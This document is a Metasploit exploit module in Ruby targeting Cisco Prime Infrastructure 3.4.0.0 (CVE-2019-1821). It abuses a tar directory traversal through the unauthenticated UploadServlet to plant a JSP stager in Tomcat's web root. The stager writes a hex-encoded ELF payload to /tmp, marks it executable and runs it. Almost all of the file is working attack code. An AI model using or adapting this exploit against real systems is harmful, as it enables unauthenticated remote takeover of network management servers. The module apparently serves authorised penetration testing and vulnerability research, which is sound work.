##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Cisco Prime Infrastructure Health Monitor TarArchive Directory Traversal Vulnerability',
        'Description' => %q{
          This module exploits a vulnerability found in Cisco Prime Infrastructure. The issue is that
          the TarArchive Java class the HA Health Monitor component uses does not check for any
          directory traversals while unpacking a Tar file, which can be abused by a remote user to
          leverage the UploadServlet class to upload a JSP payload to the Apache Tomcat's web apps
          directory, and gain arbitrary remote code execution. Note that authentication is not
          required to exploit this vulnerability.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Steven Seeley', # Original discovery, PoC
          'sinn3r' # Metasploit module
        ],
        'Platform' => 'linux',
        'Arch' => ARCH_X86,
        'Targets' => [
          [ 'Cisco Prime Infrastructure 3.4.0.0', {} ]
        ],
        'References' => [
          ['CVE', '2019-1821'],
          ['URL', 'https://srcincite.io/blog/2019/05/17/panic-at-the-cisco-unauthenticated-rce-in-prime-infrastructure.html'],
          ['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190515-pi-rce'],
          ['URL', 'https://srcincite.io/advisories/src-2019-0034/'],
          ['URL', 'https://srcincite.io/pocs/src-2019-0034.py.txt']
        ],
        'DefaultOptions' => {
          'RPORT' => 8082,
          'SSL' => true,

        },
        'Notes' => {
          'SideEffects' => [ IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability' => [ CRASH_SAFE ]
        },
        'Privileged' => false,
        'DisclosureDate' => '2019-05-15',
        'DefaultTarget' => 0
      )
    )

    register_options(
      [
        OptPort.new('WEBPORT', [true, 'Cisco Prime Infrastructure web interface', 443]),
        OptString.new('TARGETURI', [true, 'The route for Cisco Prime Infrastructure web interface', '/'])
      ]
    )
  end

  class CPITarArchive
    attr_reader :data
    attr_reader :jsp_name
    attr_reader :tar_name
    attr_reader :stager
    attr_reader :length

    def initialize(name, stager)
      @jsp_name = "#{name}.jsp"
      @tar_name = "#{name}.tar"
      @stager = stager
      @data = make
      @length = data.length
    end

    def make
      data = ''
      path = "../../opt/CSCOlumos/tomcat/webapps/ROOT/#{jsp_name}"
      tar = StringIO.new
      Rex::Tar::Writer.new(tar) do |t|
        t.add_file(path, 0644) do |f|
          f.write(stager)
        end
      end
      tar.seek(0)
      data = tar.read
      tar.close
      data
    end
  end

  def check
    res = send_request_cgi({
      'rport' => datastore['WEBPORT'],
      'SSL' => true,
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'webacs', 'pages', 'common', 'login.jsp')
    })

    unless res
      vprint_error('No response from the server')
      return CheckCode::Unknown('Could not determine the target status')
    end

    if res.code == 200 && res.headers['Server'] && res.headers['Server'] == 'Prime'
      return CheckCode::Detected('The target service was detected')
    end

    CheckCode::Safe('The target is not vulnerable')
  end

  def get_jsp_stager(out_file, bin_data)
    # For some reason, some of the bytes tend to get lost at the end.
    # Not really sure why, but some extra bytes are added to ensure the integrity
    # of the code. This file will get deleted during cleanup anyway.
    %Q|<%@ page import="java.io.*" %>
    <%
      String data = "#{Rex::Text.to_hex(bin_data, '')}";
      FileOutputStream outputstream = new FileOutputStream("#{out_file}");
      int numbytes = data.length();
      byte[] bytes = new byte[numbytes/2];
      for (int counter = 0; counter < numbytes; counter += 2)
      {
        char char1 = (char) data.charAt(counter);
        char char2 = (char) data.charAt(counter + 1);
        int comb = Character.digit(char1, 16) & 0xff;
        comb <<= 4;
        comb += Character.digit(char2, 16) & 0xff;
        bytes[counter/2] = (byte)comb;
      }
      outputstream.write(bytes);
      outputstream.close();
      try {
        Runtime.getRuntime().exec("chmod +x #{out_file}");
        Runtime.getRuntime().exec("#{out_file}");
      } catch (IOException exp) {}
    %>#{Rex::Text.rand_text_alpha(30)}|
  end

  def make_tar
    elf_name = "/tmp/#{Rex::Text.rand_text_alpha(10)}.bin"
    register_file_for_cleanup(elf_name)
    elf = generate_payload_exe(code: payload.encoded)
    jsp_stager = get_jsp_stager(elf_name, elf)
    tar_name = Rex::Text.rand_text_alpha(10)
    register_file_for_cleanup("apache-tomcat-8.5.16/webapps/ROOT/#{tar_name}.jsp")
    CPITarArchive.new(tar_name, jsp_stager)
  end

  def execute_payload(tar)
    # Once executed, we are at:
    # /opt/CSCOlumos
    send_request_cgi({
      'rport' => datastore['WEBPORT'],
      'SSL' => true,
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, tar.jsp_name)
    })
  end

  def upload_tar(tar)
    post_data = Rex::MIME::Message.new
    post_data.add_part(tar.data, nil, nil, "form-data; name=\"files\"; filename=\"#{tar.tar_name}\"")

    # The file gets uploaded to this path on the server:
    # /opt/CSCOlumos/apache-tomcat-8.5.16/webapps/ROOT/tar_name.jsp
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'servlet', 'UploadServlet'),
      'data' => post_data.to_s,
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'headers' =>
        {
          'Destination-Dir' => 'tftpRoot',
          'Compressed-Archive' => 'false',
          'Primary-IP' => '127.0.0.1',
          'Filecount' => '1',
          'Filename' => tar.tar_name,
          'FileSize' => tar.length
        }
    })

    (res && res.code == 200)
  end

  def exploit
    tar = make_tar
    print_status("Uploading tar file (#{tar.length} bytes)")
    if upload_tar(tar)
      print_status('Executing JSP stager...')
      execute_payload(tar)
    else
      print_status("Failed to upload #{tar.tar_name}")
    end
  end
end
